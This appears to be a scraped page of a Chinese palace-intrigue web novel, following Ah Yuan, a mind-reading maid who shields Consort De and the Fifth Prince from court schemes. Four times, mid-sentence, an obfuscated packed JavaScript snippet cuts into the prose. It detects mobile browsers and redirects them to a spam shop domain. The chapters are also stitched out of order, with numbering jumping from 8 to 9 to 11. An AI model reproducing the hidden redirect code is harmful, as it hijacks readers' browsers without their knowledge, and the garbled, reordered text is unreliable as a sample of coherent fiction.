柳尚书冤案昭雪后,德妃重获圣宠,长乐宫也恢复了往日的热闹,往来的宫女太监络绎不绝,各宫的妃嫔也纷纷派人送来贺礼,想要与德妃交好。皇上时常召德妃伴驾,偶尔也会到长乐宫小坐,对五皇子更是格外疼爱,时常将他召到身边教导,长乐宫一时风头无两。 阿沅作为德妃的第一心腹,也成了长乐宫最受重视的宫女,德妃将殿内的大小事务,大多交予她打理,宫里的宫女太监,对她也都是恭敬有加,再也无人敢小瞧这个出身浣衣局的丫鬟。可阿沅依旧初心不改,每日里依旧细心伺候德妃的饮食起居,打理殿内事务,不骄不躁,不偏不倚,将长乐宫打理得井井有条。 她依旧习惯性地听着周遭的心声,皇上的心声,成了她如今最需要留意的。皇上虽恢复了对德妃的宠爱,可帝王之心,终究难测,他的心声里,对德妃有愧疚,有怜惜,却也有忌惮:【柳尚书复职后,在朝堂上声望渐高,德妃又深得五皇子敬重,若是柳家与五皇子联手,恐成太子之患。】 阿沅将这一切默默记在心里,她知道,皇上最忌惮的,便是皇子结党,朝堂与后宫相互勾结。太子虽为皇后所生,却生性懦弱,难当大任,皇上对他并不满意,而五皇子聪慧过人,深得皇上喜爱,柳尚书又在朝堂上颇有声望,这一切,都成了皇上心中的一根刺。 德妃对此却并未察觉,依旧沉浸在重获圣宠的喜悦里,偶尔还会在皇上面前提及柳尚书的功绩,为五皇子谋求更多的机会。阿沅看在眼里,急在心里,她知道,德妃这样做,只会让皇上的忌惮更深,反而会害了五皇子,害了柳家。 这日,皇上在长乐宫用膳,席间,德妃又道:“皇上,五皇子近来练字颇有长进,还望皇上能多教导教导他,也好让他日后能为皇上分忧。”皇上笑着点了点头,可阿沅却听到了他心底的念头:【小小年纪,便想着谋前程,德妃倒是心急,柳家的心思,昭然若揭。】 阿沅心中一紧,趁着布菜的机会,故意将一碗汤不小心洒在地上,发出“哐当”一声响。殿内的人都吓了一跳,阿沅连忙跪地请罪:“奴婢该死,失手洒了汤,惊扰了皇上和娘娘。” 皇上皱了皱眉,却也并未动怒:“起来吧,下次小心些。”德妃也道:“无妨,快下去收拾吧。”阿沅躬身退下,借着这短暂的插曲,打断了德妃的话,也让皇上心底的忌惮,稍稍平复了几分。 待皇上走后,德妃有些不解地问阿沅:“你今日怎的这般不小心?”阿沅躬身道:“娘娘,奴婢并非不小心,只是方才见皇上神色有异,怕是对娘娘的话有所介意。”她顿了顿,又道:“娘娘,皇上乃九五之尊,最忌惮的便是皇子结党,如今柳大人在朝堂上声望渐高,五皇子又深得皇上喜爱,这本是好事,可若是娘娘太过心急,在皇上面前为五皇子谋求太多,只会让皇上觉得,柳家与五皇子联手,觊觎太子之位,反而会引来皇上的忌惮,于五皇子,于柳家,都不利。” 德妃闻言,脸色一白,她从未想过这一层,经阿沅一提点,才恍然大悟,心底一阵后怕:“你说得极是,是我太过心急了,险些酿成大错。”她看着阿沅,满是感激:“幸好有你在身边提醒,不然我还不知要犯多少错。” 阿沅道:“娘娘言重了,奴婢只是旁观者清,娘娘只需记住,万事低调,不求有功,但求无过,好好教导五皇子,让他潜心学习,不争不抢,皇上自有明断。”德妃点了点头,将阿沅的话记在了心里,往后,果然收敛了许多,不再在皇上面前为五皇子谋求机会,只是一心教导五皇子读书练字,修身养性。 皇上见德妃如此,心底的忌惮也渐渐消散,对五皇子的喜爱,也愈发真切,时常夸赞五皇子沉稳懂事,比太子更有担当。 阿沅的细心与聪慧,不仅让德妃愈发信任,也渐渐被皇上看在眼里。皇上每次到长乐宫,总能看到阿沅将一切打理得井井有条,伺候德妃时细心周到,应对事情时沉稳果敢,言语举止间,进退有度,不卑不亢,与一般的宫女截然不同。 有一次,皇上与德妃在庭院里下棋,阿沅在一旁奉茶,恰逢太子前来请安,太子生性懦弱,见了皇上,竟紧张得说不出话来,手中的帕子都捏皱了。皇上心中不悦,脸色沉了下来。阿沅见状,借着添茶的机会,轻声对太子身边的太监道:“太子殿下一路赶来,想来是渴了,快给太子殿下奉杯茶。” 那太监会意,连忙给太子奉茶,太子喝了口茶,稍稍平复了紧张的情绪,说话也渐渐流畅起来。皇上看在眼里,心底对阿沅多了几分赞许,他能听到皇上的心声:【这丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228615|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头倒是机灵,心思缜密,竟能看出太子的窘迫,还能不动声色地化解,倒是个难得的人才。】 自那以后,皇上便时常留意阿沅,偶尔也会问她一些问题,阿沅总能对答如流,进退有度,既不张扬,也不怯懦,让皇上愈发满意。 后宫的妃嫔们也渐渐注意到了阿沅,有人嫉妒她深得德妃信任,又被皇上看重,便想借机刁难她。有一次,贤妃在御花园设宴,邀请各宫妃嫔参加,德妃也在受邀之列,阿沅随德妃一同前往。席间,贤妃故意刁难,让阿沅为众人抚琴,阿沅本是宫女,按规矩本不应在妃嫔面前献艺,贤妃此举,分明是想让德妃下不来台。 德妃脸色微沉,刚想开口拒绝,阿沅却躬身道:“贤妃娘娘抬爱,奴婢粗通琴艺,便为各位娘娘助兴。”说着,便走到琴前,坐下抚琴。她的琴艺并非精湛,却也流畅婉转,琴声清淡,如流水潺潺,听来让人心情平静。 一曲终了,各宫妃嫔纷纷拍手称赞,贤妃却依旧不依不饶,道:“这琴声虽清淡,却少了几分韵味,怕是敷衍了事吧。”阿沅躬身道:“贤妃娘娘说笑了,奴婢只是一介宫女,琴艺本就粗浅,能为各位娘娘助兴,已是奴婢的荣幸,不敢有丝毫敷衍。”她的语气平静,却带着几分不卑不亢,让贤妃无从挑剔。 阿沅能听到贤妃的心声:【这丫头倒是牙尖嘴利,竟让我无从刁难,德妃身边有这样的人,倒是难对付。】可贤妃也无可奈何,只能作罢。 经此一事,阿沅的名声在后宫里也渐渐传开,有人说她聪慧果敢,有人说她心思缜密,也有人说她深得圣宠,前途无量。可阿沅依旧保持着低调,她知道,木秀于林,风必摧之,在这深宫里,太过张扬,只会引来杀身之祸。 她依旧借着听心的异能,默默观察着周遭的一切,看清着每个人的心思,化解着一次又一次的危机。她的锋芒,虽偶尔显露,却始终收放自如,既让德妃与皇上看到了她的才能,又不至于引来太多的嫉妒与算计。 而她也清楚,自己如今的一切,都源于德妃的信任,可这信任,终究是依附于他人,想要真正掌控自己的命运,想要在这深宫里真正站稳脚跟,便不能只做德妃的附庸,她需要拥有自己的力量,需要在这深宫与朝堂的交织中,找到属于自己的位置。 8. 东宫暗流,明哲保身 青黛受罚后,浣衣局里的风波虽平,却让阿沅更深刻地懂得,深宫之中,哪怕是最底层的角落,也无真正的安宁,一丝一毫的疏忽,都可能引火烧身。往后的日子,阿沅依旧守着自己的一方水池,手脚麻利地操持着活计,白日里洗晾衣物,夜里便借着廊下微弱的灯火,听着周遭宫女的心声,默默梳理着宫里的人脉与局势,将各宫的脾性、太监宫女的派系,一一记在心里。 张嬷嬷对她愈发看重,不仅将整理各宫精致衣物的活计交予她,偶尔还会让她跟着去内务府交接差事。阿沅借着这些机会,接触到了更多宫里的人,也听到了更多藏在心底的秘密。她渐渐摸清,如今后宫看似平静,实则暗流涌动:皇后守着东宫,靠着太子的名分稳坐中宫,却因太子生性懦弱,始终忧心忡忡;丽妃仗着丞相娘家的势力,气焰嚣张,一心想让自己的三皇子取代太子;而德妃虽因柳尚书的事暂失圣宠,却因素来温婉贤淑,在宫中颇有口碑,五皇子也聪慧伶俐,是不可小觑的力量。 这日,阿沅跟着张嬷嬷去内务府送洗好的衣物,路过东宫偏院时,恰逢太子的贴身太监李德全与几个小太监争执。她脚步微顿,侧耳倾听,竟从李德全的心声里听到了惊天的算计:【丽妃娘娘让人送来的补品,里面加了些东西,太子吃了虽无性命之忧,却会愈发昏沉迟钝,这样一来,皇上便会越发看不上太子,三皇子才有机会。】 一旁的小太监面露难色,心底满是惶恐:【这可是欺君之罪啊,若是被发现,我们都得死。】李德全却冷哼一声,心声里满是无奈与贪婪:【丽妃娘娘给了重金,不做便是死路一条,做了至少还有活路,况且太子本就懦弱,就算出了事,也未必会查到我们头上。】 阿沅心头一震,连忙低下头,装作什么都没听到,跟着张嬷嬷快步离开。她知道,东宫的事牵扯甚广,皇后与丽妃的争斗,早已波及太子,而她只是一个浣衣局的小宫女,贸然插手,只会引火烧身。可若是置之不理,一旦太子真的出了什么事,后宫的争斗定会愈演愈烈,届时她这般底层宫女,只会成为无辜的牺牲品。 回到浣衣局,阿沅心不在焉地搓着衣物,脑海里反复回荡着李德全的心声。她一边警惕着周遭的动静,一边思索着应对之法:既不能暴露自己,又要稍稍提点,让皇后有所防备。入夜后,浣衣局的宫女都已睡下,阿沅借着去院外打水的机会,绕到东宫附近的宫道旁,将一枚写着“补品有恙,太子慎食”的小纸条,悄悄放在了皇后贴身宫女常嬷嬷每日必经的石凳下。 她算准了常嬷嬷的性子,此人素来谨慎,发现纸条后定会禀报皇后,却不会声张,只会暗中调查。而这一切,她做得神不知鬼不觉,没有留下丝毫痕迹。 几日后,阿沅从来往太监的心声里听到,皇后果然暗中查了太子的补品,发现了其中的猫腻,虽未声张,却悄悄换了太子的膳食,还将李德全打发去了皇陵守墓,算是悄无声息地化解了一场危机。丽妃得知计划败露,心底恼怒,却因没有证据,只能作罢,只是后宫的气氛,愈发压抑了。 此事过后,阿沅愈发明白,深宫之中,唯有明哲保身,同时暗中布局,才能长久立足。她依旧低调行事,却也开始有意无意地结交一些值得信任的人。绿萼因青黛受罚,在浣衣局里少了对手,对阿沅更是亲近,时常将自己知道的宫里的门道告诉她。阿沅也偶尔会借着听心的便利,提醒绿萼避开一些麻烦,两人渐渐成了浣衣局里彼此唯一的依靠。 青黛禁足结束后,回到浣衣局,性子收敛了许多,却对阿沅恨之入骨,时常在背地里偷偷算计,想找机会报复。可阿沅早有防备,每次都能从她的心声里提前察觉,巧妙避开。有一次,青黛想在阿沅要送的衣物里藏一根银针,嫁祸她谋害主子,阿沅提前发现,悄悄将银针藏进了青黛自己的衣物里。结果青黛在整理衣物时,被张嬷嬷发现了银针,当场被杖责三十,赶出了浣衣局,发往冷宫做苦役。 看着青黛被拖走时怨毒的眼神,阿沅心底没有丝毫波澜,只有一丝警醒:在这深宫里,对敌人的仁慈,就是对自己的残忍。她从未主动害人,却也不会任人宰割,唯有以牙还牙,才能守住自己的一方天地。 青黛离开后,浣衣局里再无人敢轻易招惹阿沅,张嬷嬷更是将她视作左膀右臂,时常在刘公公面前夸赞她。刘公公听得多了,也愈发觉得自己没有看错人,心底渐渐有了将阿沅调去德妃身边的念头。这一切,阿沅都从张嬷嬷的心声里听得一清二楚,她知道,自己蛰伏的日子,快要结束了。 这日,刘公公亲自来到了浣衣局,看到阿沅正有条不紊地整理着各宫的衣物,动作麻利,神情沉稳 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绿萼也满脸欢喜地替她高兴:“阿沅,恭喜你,往后你到了长乐宫,可就成了正经妃嫔身边的人了。” 阿沅对着张嬷嬷和绿萼微微颔首,心底却清楚,这并非福气,而是更大的挑战。长乐宫虽远离后宫争斗的中心,却因德妃的身份,始终被各方势力盯着,去了那里,便意味着要卷入更深的漩涡。 当晚,阿沅简单收拾了自己的行囊,依旧是那只装着母亲银簪的小布包,几件换洗衣物,别无他物。她坐在窗边,看着窗外的月色,指尖轻轻抚摸着那支银簪,耳边是浣衣局里宫女们熟睡的呼吸声,还有远处宫道上太监巡逻的脚步声。 她知道,明日踏入长乐宫的那一刻,她的人生,便会迎来新的转折。往后的路,会更加凶险,更加难走,可她别无选择,只能一往无前。她的听心异能,是她最锋利的武器,而她的沉稳与谨慎,是她最坚实的铠甲。 月色如水,洒在阿沅的脸上,映出她眼底的坚定。她轻轻闭上眼,在心底默默告诉自己:阿沅,从今往后,你要更加小心,更加坚强,在这深宫里,步步为营,直到真正掌控自己的命运,直到站在那最高处,再也无人能欺。 长乐宫的门,正在为她缓缓打开,而那通往巅峰的路,才刚刚开始。 9. 朝野风起,智解困局 德妃重获圣宠,柳尚书官复原职,长乐宫虽日渐热闹,阿沅却始终不敢有半分松懈。她深知,丞相倒台虽让丽妃失了靠山,可朝堂之上盘根错节,皇后一族虎视眈眈,太子虽懦弱,却有外戚势力撑腰,五皇子虽得皇上喜爱,可柳家独撑朝堂,终究势单力薄,一场新的风雨,早已在暗中酝酿。 这日,阿沅随德妃去给太后请安,路过御书房外,恰逢几位大臣匆匆走出,神色凝重。她侧耳倾听,竟从户部尚书的心声里听到了关键信息:【江南水患肆虐,河堤溃决,百姓流离失所,可国库空虚,竟拿不出足够的赈灾银两。皇后一族提议让柳尚书前往江南赈灾,表面是看重其能力,实则想借水患之事刁难,若赈灾不力,便可借机扳倒柳家。】 另一大臣的心声更是印证了这一点:【太子太傅早已暗中安排,只要柳尚书离京,便在朝堂上散布流言,说他借赈灾中饱私囊,届时皇上震怒,柳家便万劫不复了。】 阿沅心头一沉,此事关乎柳家存亡,更关乎德妃与五皇子的未来。她随德妃见过太后后,便借着更衣的机会,悄悄将此事告诉了德妃。德妃闻言大惊,脸色煞白:【这可如何是好?父亲刚复职,若是赈灾出了差错,岂不是自投罗网?可若是抗旨不遵,又会被皇上认为不忠,进退两难啊!】 阿沅看着德妃焦急的模样,沉声道:“娘娘,此事不可慌乱。皇后一族想借水患扳倒柳大人,无非是算准了国库空虚、赈灾难度大,且柳大人离京后无人照应,易被泼脏水。我们只需破了这两点,便可化险为夷。” 她略一思索,继续道:“第一,赈灾银两之事,可让柳大人向皇上提议,允许江南富商捐粮捐银,捐得多者可赐匾额、免赋税,富商们为求虚名与实惠,定会踊跃响应,解国库空虚之困;第二,柳大人离京后,需在朝堂上留一心腹,时刻提防流言,一旦有风吹草动,便立刻向皇上禀明实情;第三,让柳大人带亲信前往江南,全程记录赈灾事宜,账册明细一式三份,一份交户部,一份交皇上,一份留底,做到事事透明,让旁人无从挑剔。” 德妃听着阿沅条理清晰的分析,眼中渐渐燃起希望,握住她的手道:“阿沅,你想得太周全了!可朝堂之上,谁是父亲的亲信,又能在皇上面前说上话呢?” 阿沅早有思量,低声道:“太傅大人素来刚正,与柳大人同朝为官多年,惺惺相惜,且与皇后一族素有嫌隙,定愿出手相助。只需柳大人亲自登门拜访,晓以利害,太傅大人必会应允。” 德妃当即修书一封,让心腹太监连夜送予柳尚书。柳尚书见信后,依阿沅之计行事,先是向皇上上奏富商捐粮之策,皇上龙颜大悦,当即准奏;又亲自拜访太傅,太傅果然应允在京中照应;最后挑选心腹干将,备齐账册文书,即刻启程前往江南。 不出阿沅所料,柳尚书离京后,太子太傅果然暗中指使官员散布流言,说柳尚书借赈灾之名搜刮民脂民膏。可太傅早有防备,立刻在朝堂上呈上柳尚书从江南送来的第一份赈灾明细,账册上清清楚楚记录着每一笔银两、每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇后看在眼里,急在心里,太子的懦弱让她恨铁不成钢,可她终究是中宫皇后,太子是名正言顺的储君,背后又有外戚势力支撑,自然不会坐视五皇子威胁太子的地位。她开始暗中联络后宫妃嫔,孤立德妃,又让外戚在朝堂上处处针对柳尚书,试图一步步削弱柳家的势力。 阿沅将这一切看在眼里,听在耳中。她从皇后身边宫女的心声里得知,皇后竟想效仿丽妃,暗中对五皇子下手,打算在五皇子的膳食里加些慢性毒药,让他慢慢身虚体弱,再也无法得到皇上的喜爱。 此事事关重大,阿沅不敢有半分耽搁,立刻告诉了德妃。德妃吓得浑身发抖,抱着五皇子泪流满面:“这后宫为何如此歹毒?我儿不过是个孩子,他们为何要对他下此毒手?” 阿沅扶住德妃,沉声道:“娘娘,事到如今,退一步便是万劫不复。皇后既然容不下五皇子,我们便不能再一味忍让,需主动布局,护住五皇子,也护住柳家。” 她冷静分析道:“皇后行事谨慎,此事定然做得极为隐秘,我们没有证据,贸然向皇上告发,只会被皇后反咬一口,说我们污蔑中宫。不如将计就计,假意不知,暗中调换五皇子的膳食,同时让柳大人在朝堂上提议,让太子与五皇子一同前往皇家书院读书,由太傅亲自教导,一来可让五皇子有太子伴读,皇后不敢轻易下手;二来可让皇上看到五皇子的才学,与太子形成对比。” 德妃擦干眼泪,点了点头:“就依你之计行事,此事全靠你了。” 阿沅当即着手安排,先是让五皇子身边的贴身太监暗中调换膳食,又在膳食房安插了自己信得过的人,时刻提防皇后的小动作。同时,柳尚书依计向皇上上奏,提议让太子与五皇子同入皇家书院。皇上本就想磨练太子,又喜爱五皇子的才学,当即准奏。 皇家书院有太傅与一众大儒坐镇,守卫森严,皇后的人根本无从下手,只能眼睁睁看着五皇子在书院里勤学苦读,与太子的差距越来越大。太子本就生性懒惰,在书院里更是无心向学,时常逃课玩耍,而五皇子则谦逊有礼,勤学不倦,深得太傅与大儒们的喜爱,连皇上前来考察,都屡屡夸赞五皇子。 皇后见一计不成,又生一计,她暗中联络丽妃,想与丽妃联手,共同打压德妃。丽妃虽被禁足,却依旧心有不甘,见皇后抛来橄榄枝,便立刻应允,两人暗中勾结,打算在中秋宫宴上,设计让德妃失仪,惹皇上震怒。 阿沅从皇后身边的掌事太监与丽妃的贴身宫女的心声里,得知了她们的阴谋:中秋宫宴上,丽妃会故意向德妃敬酒,暗中在酒里加些迷药,让德妃神志不清,在皇上面前胡言乱语,甚至做出失礼之举,届时皇后再以中宫之命,斥责德妃失仪,请求皇上将其禁足。 知晓了她们的算计,阿沅便开始谋划应对之策。她先是让云溪在德妃的茶水里加了些醒神的草药,可解轻微迷药之效;又提前与御膳房的管事打好招呼,让其在宫宴上,以“德妃娘娘近日脾胃不和,不宜饮酒”为由,用桂花蜜水代替酒,呈给德妃;同时,她还暗中安排了一个小太监,若是丽妃执意敬酒,便故意打翻酒盏,制造混乱。 中秋宫宴如期而至,皇宫里张灯结彩,一派热闹。宴会上,丽妃果然依计行事,端着酒杯走到德妃面前,笑容满面地敬酒:“德妃妹妹,今日中秋佳节,姐姐敬你一杯,愿我们姐妹同心,共侍皇上。” 德妃刚想端起酒杯,御膳房的管事便及时上前,捧着桂花蜜水道:“德妃娘娘,太医嘱咐您近日脾胃不和,不可饮酒,奴才特意为您备了桂花蜜水,清甜解腻,最是合适。” 丽妃脸色一沉,强笑道:“不过一杯酒罢了,何至于如此矫情?”说着,便想强行将酒杯塞到德妃手中。就在这时,阿沅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228618|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排的小太监匆匆走过,假装脚下一绊,径直撞向丽妃,手中的果盘掉在地上,酒盏也被撞翻,酒水洒了丽妃一身。 宴会上顿时一片混乱,丽妃又气又急,妆容尽花,哪里还有半分妃嫔的仪态。皇上见状,脸色微沉,斥责道:“成何体统!区区小事,便如此失态,看来禁足的日子,还是没让你长记性!” 皇后本想出来为丽妃解围,可阿沅早已借着添茶的机会,在皇上面前轻声道:“皇上,方才奴婢见丽妃娘娘执意给德妃娘娘敬酒,德妃娘娘本就身体不适,丽妃娘娘此举,怕是有些不妥。” 皇上本就对丽妃心存不满,听了阿沅的话,更是心中生疑,冷冷看了皇后与丽妃一眼,道:“皇后身为中宫,竟不知管束后宫,罚俸三月;丽妃失仪无状,再加禁足半年,无朕旨意,不得出宫!” 皇后与丽妃面如死灰,却不敢有半句怨言,只能跪地领旨。这场宫宴,成了皇后与丽妃的滑铁卢,而德妃则因沉稳得体,更得皇上的喜爱。 经此一事,阿沅在长乐宫的地位,已然无人能及,德妃对她言听计从,五皇子更是将她视作亲姐姐一般。可阿沅依旧保持着清醒,她知道,储位之争,才刚刚开始,皇后一族不会就此罢休,朝堂之上,还有更多的暗流涌动。 她开始借着听心的异能,暗中收集朝堂与后宫各方势力的信息,分辨忠奸,为柳尚书与五皇子布下一盘棋。她知道,想要在这场储位之争中胜出,不仅需要皇上的喜爱,更需要朝堂上的支持,百姓的拥戴,而她的听心异能,便是这盘棋中,最关键的一步。 夜色渐浓,长乐宫的灯火依旧明亮,阿沅站在窗前,看着天边的明月,指尖轻轻抚摸着贴身藏着的银簪。她的眼神,平静而坚定,藏着与年龄不符的沉稳与谋略。深宫之路,储位之争,纵使前路布满荆棘,她也会陪着德妃与五皇子,一步步走下去,直到拨开迷雾,见到曙光。而她自己的命运,也早已与这深宫的荣辱,紧紧交织在一起,再也无法分开。 11. 书院生隙,借力固势 秋霜染遍宫墙梧桐,皇家书院的青石板路上落了一层碎金般的落叶,晨起的读书声穿过朱红窗棂,在庭院里悠悠回荡。五皇子苏瑾与太子苏衡同入书院已有三月,太傅授课时,太子总爱低头摆弄腰间玉佩,心思散漫,而五皇子却凝神静听,偶尔提笔批注,眉宇间的沉稳与聪慧,让书院里的大儒们每每提及,都忍不住连连称赞。 阿沅每日辰时都会亲自将五皇子的膳食送至书院,一来是怕皇后暗中动手脚,二来也能借着这机会,听听书院里的心声,摸清各方态度。这日她提着食盒走过书院回廊,恰逢太子的伴读太监小禄子与五皇子的贴身太监小安子争执,两人的心声像炸雷般涌入阿沅耳中,让她脚步倏地顿住。 “不过是个庶出的皇子,也敢在太子殿下面前摆架子,真当自己是根葱了?”小禄子的声音尖酸,心底的算计却更恶毒,【太子殿下说了,五皇子这几日在太傅面前出尽了风头,得给他点颜色看看。待会儿趁他去茅厕,把他的书卷扔到池塘里,让他上课交不出功课,定被太傅斥责。】 小安子气得脸涨红,却不敢与太子身边的人硬拼,只能攥着拳头放狠话:“你敢动五皇子的东西,我定禀明德妃娘娘!”他的心底满是焦急与无奈,【太子太过分了,总想着刁难五皇子,可我人微言轻,根本护不住殿下,可怎么办才好。】 阿沅悄悄躲在廊柱后,指尖微微收紧。她知道,太子此举看似孩童气的刁难,实则是皇后在背后授意——皇后见五皇子在书院愈发受宠,怕他日后真的威胁到太子的储位,便借着太子的手,处处打压,既让五皇子难堪,又能在外落个“太子年幼不懂事,只是孩童相争”的名头,进退皆宜。 若是寻常宫女,怕是只会急着去提醒五皇子,可阿沅却知道,这般直白的提醒,治标不治本,反而会让太子与皇后愈发警惕,日后的算计只会更加隐秘。她凝神细听,很快从回廊另一头传来太傅的心声,【太子近日愈发顽劣,五皇子却勤学不倦,二人差距日渐明显,皇上若是知晓,怕是对太子更失望了。只是皇后势大,我虽为太傅,也不便过分苛责太子,难啊。】 阿沅心中已有计较,她提着食盒缓步走出,脸上依旧是那副低眉顺眼的模样,对着争执的二人福了福身:“二位公公莫要争执,书院乃读书之地,吵吵闹闹的,若是被太傅听到,怕是要受罚。” 小禄子见是德妃身边的阿沅,眼底闪过一丝不屑,却也不敢在书院放肆,冷哼一声:“我们说话,哪有你一个宫女插嘴的份。”他的心底却在盘算,【这阿沅是德妃的心腹,定是听到了方才的话,得赶紧动手,免得夜长梦多。】 阿沅仿若未闻他的不敬,只是看向小安子,轻声道:“小安子公公,五皇子殿下的膳食备好了,太傅待会儿要讲《论语》,怕是快下课了,莫要误了殿下用膳。”说着,她抬手将食盒递过去,指尖不经意间在小安子手背上点了三下——那是她与小安子约定的暗号,意为“有人算计,稍安勿躁,我自有办法”。 小安子一愣,随即会意,接过食盒点了点头:“知道了,多谢阿沅姑娘。” 小禄子见二人眉来眼去,心中愈发焦躁,假意整理衣衫,往后退了两步,想寻机会溜去五皇子的书斋。阿沅却似是无意般挡在了他身前,躬身道:“小禄子公公,太子殿下的砚台昨日摔裂了,张嬷嬷让奴婢来问问,要不要让浣衣局的人拿去修补,或是重新寻一方新的?” 这话说得突然,小禄子一时语塞,心底暗骂,【这死丫头怎么突然提砚台的事,耽误我办事!】嘴上却只能敷衍:“不用你管,太子殿下自有安排。” 就在这短暂的耽搁间,书院的下课铃响了,太傅带着一众学子从讲堂走出,五皇子与太子并肩跟在最后。太傅一眼便看到了争执的几人,眉头微皱:“书院之内,怎可喧哗?太子伴读,更当谨言慎行,莫要失了规矩。” 小禄子吓得连忙跪地:“太傅恕罪,奴才知错了。” 太傅摆了摆手,目光落在五皇子身上,语气缓和了几分:“瑾儿,今日授课的内容,你可领悟了?” 五皇子躬身行礼,声音清朗:“回太傅,学生已大致领悟,只是对‘政者,正也’一句,尚有几分浅见,想向太傅请教。” 说着,五皇子便开口阐述自己的见解,言辞恳切,见解独到,引经据典却不迂腐,让太傅连连点头,眼中满是赞许。太子站在一旁,脸色一阵红一阵白,手指无意识地抠着衣袖,心底满是嫉妒与恼怒,【苏瑾这个贱人,故意在太傅面前显摆,看我回去怎么收拾你!】 阿沅站在一旁,静静看着这一切,耳朵里还听着周围大儒们的心声,【五皇子天资聪颖,又肯勤学,日后必成大器,比太子强多了。】【可惜五皇子是庶出,背后只有柳尚书一人支撑,皇后一族势大,怕是难成气候啊。】 这些心声让阿沅心底愈发清楚,五皇子如今缺的,不是皇上的喜爱,也不是自身的才学,而是朝堂上更多的支持。柳尚书虽有声望,却势单力薄,若想与皇后一族抗衡,必须拉拢更多中立的大臣,而太傅便是关键之人——太傅乃三朝元老,门生故吏遍布朝野,虽素来中立,却惜才爱才,若是能让太傅真心站在五皇子这边,便是为五皇子添了一大助力。 待五皇子与太傅探讨完毕,阿沅才上前奉上食盒,轻声道:“殿下,膳食还热着,您快些用吧,免得凉了伤脾胃。” 五皇子点了点头,接过食盒,低声道:“辛苦你了。”他的心底满是感激,【阿沅姐姐总是这般细心,每次都能替我化解麻烦,有她在,我便安心许多。】 阿沅微微躬身,没有多言,只是转身离开。走到书院门口时,她刻意放慢了脚步,果然听到身后太傅的心声,【五皇子这般才学,若是被埋没,实在可惜。皇后一族咄咄逼人,太子又扶不起,若是皇上百年之后,大楚江山交予太子,怕是危矣。或许,该为五皇子做些什么,也为大楚的江山做些什么。】 阿沅知道,自己的第一步棋已经走成了。她没有刻意去讨好太傅,只是借着小禄子的刁难,让太傅亲眼看到太子的顽劣与五皇子的优秀,再加上五皇子自身的才学,让太傅心中的天平,悄悄向五皇子倾斜。 回到长乐宫,阿沅将书院的事一一禀明德妃,德妃听完后,眉头微皱:“皇后这般步步紧逼,怕是不会善罢甘休,瑾儿在书院,日后怕是还有更多的麻烦。” 阿沅躬身道:“娘娘放心,太傅如今已对五皇子心生赏识,只要我们好好把握,必能让太傅成为五皇子的助力。而且,奴婢今日还听到,户部尚书大人近日因皇后一族插手户部事务,心生不满,心底正怨怼皇后一族专权。” 德妃眼中一亮:“户部尚书?他可是手握财政大权的重臣,若是能拉拢他,便是一大助力。只是他素来谨慎,怎会轻易与我们结盟?” “娘娘,户部尚书大人虽谨慎,却极重情义,他的小儿子与五皇子同岁,也在皇家书院读书,前些日子落水,是五皇子不顾危险,跳下去救了他。尚书大人心中一直感激,只是碍于皇后的势力,不敢表露。”阿沅缓缓道,这些信息,都是她从来往的太监宫女心声中,一点点收集而来的,“我们只需略施小计,让尚书大人知道,皇后一族不仅专权,还想对他的家人下手,他便会主动向我们靠拢。” 德妃沉吟片刻,点了点头:“你说得有道理,那此事便交给你去办,切记小心行事,莫要暴露了自己。” “奴婢明白。”阿沅躬身应道。 接下来的几日,阿沅借着外出采买的机会,暗中联络了户部尚书的贴身管家。她没有直接表明身份,只是将一封匿名信交给管家,信中写着皇后一族暗中指使他人,欲对尚书小儿子下手,还附上了一些皇后一族插手户部事务、中饱私囊的证据。 管家将信交给户部尚书后,尚书大人震怒不已。他本就对皇后一族心生不满,如今得知皇后竟想对自己的儿子下手,更是忍无可忍。他连夜进宫,将皇后一族中饱私囊的证据呈给皇上,皇上看后大怒,斥责了皇后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228619|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲国丈大人,还削了国丈的些许职权,皇后一族的气焰,稍稍被打压。 经此一事,户部尚书彻底倒向了五皇子这边,他暗中联络了几位对皇后一族不满的大臣,形成了一个小小的联盟,默默支持柳尚书与五皇子。而太傅也借着授课的机会,时常在皇上面前夸赞五皇子的才学与沉稳,皇上对五皇子的喜爱,愈发深厚。 